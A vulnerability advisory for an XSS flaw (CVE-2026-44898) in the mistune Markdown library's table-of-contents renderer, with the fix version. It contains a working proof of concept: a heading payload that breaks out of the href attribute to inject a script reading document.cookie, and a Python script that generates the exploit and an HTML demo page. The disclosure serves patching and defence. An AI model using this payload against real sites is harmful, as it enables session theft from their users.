mistune
Affected
- introduced
3.2.0, fixed3.2.1(ecosystem)
Fixed versions
3.2.1
Fix
- Fixed version
3.2.1pip install --upgrade mistune==3.2.1
Advisory
Also known as: CVE-2026-44898, PYSEC-2026-2208
Mistune TOC Anchor Injection XSS
Summaryrender_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details
File: src/mistune/toc.py
def render_toc_ul(toc):
...
for level, k, text in toc:
# k = heading id (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
item = '<a href="#{}">{}</a>'.format(k, text)
# Neither k nor text is passed through escape() at any point
The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
Output — clean, safe TOC:
<ul>
<li><a href="#toc_1">Introduction</a>
<ul>
<li><a href="#toc_2">Installation</a></li>
</ul>
</li>
</ul>
Step 2 — Enable the vulnerable `heading_id` callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
def raw_id(token, index):
return token.get("text", "")
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:
## x"><script>alert(document.cookie)</script><a href="
When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".
Step 4 — Observe script injection in the TOC output
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
render_toc_ul() formats the malicious ID directly into the <a href>:
'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'
Actual output:
<ul>
<li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li>
</ul>
The <script> block is live in the document. Note that the anchor *label* (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a href> without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul
def raw_id(token, index):
return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h4.md"
bl_src = "# Introduction\n\n## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{bl_file}]\n{bl_src}")
print("[toc output — safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h4.md"
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{ex_file}]\n{ex_src}")
print("[toc output — script injected via href breakout]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""
def case(kind, label, filename, src, out):
return f"""
<div class="case {kind}">
<div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>TOC output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ rendered in browser</div>
<div class="rendered">{out}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H4 — TOC XSS</title><style>{CSS}</style></head><body>
<h1>H4 — TOC render_toc_ul() XSS</h1>
<p class="desc">render_toc_ul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) —
neither k (the heading ID) nor text is escaped before insertion.</p>
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")Medium Basis: The source's own band: MODERATE
3.2.0, fixed 3.2.1 (ecosystem)3.2.1
3.2.1pip install --upgrade mistune==3.2.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0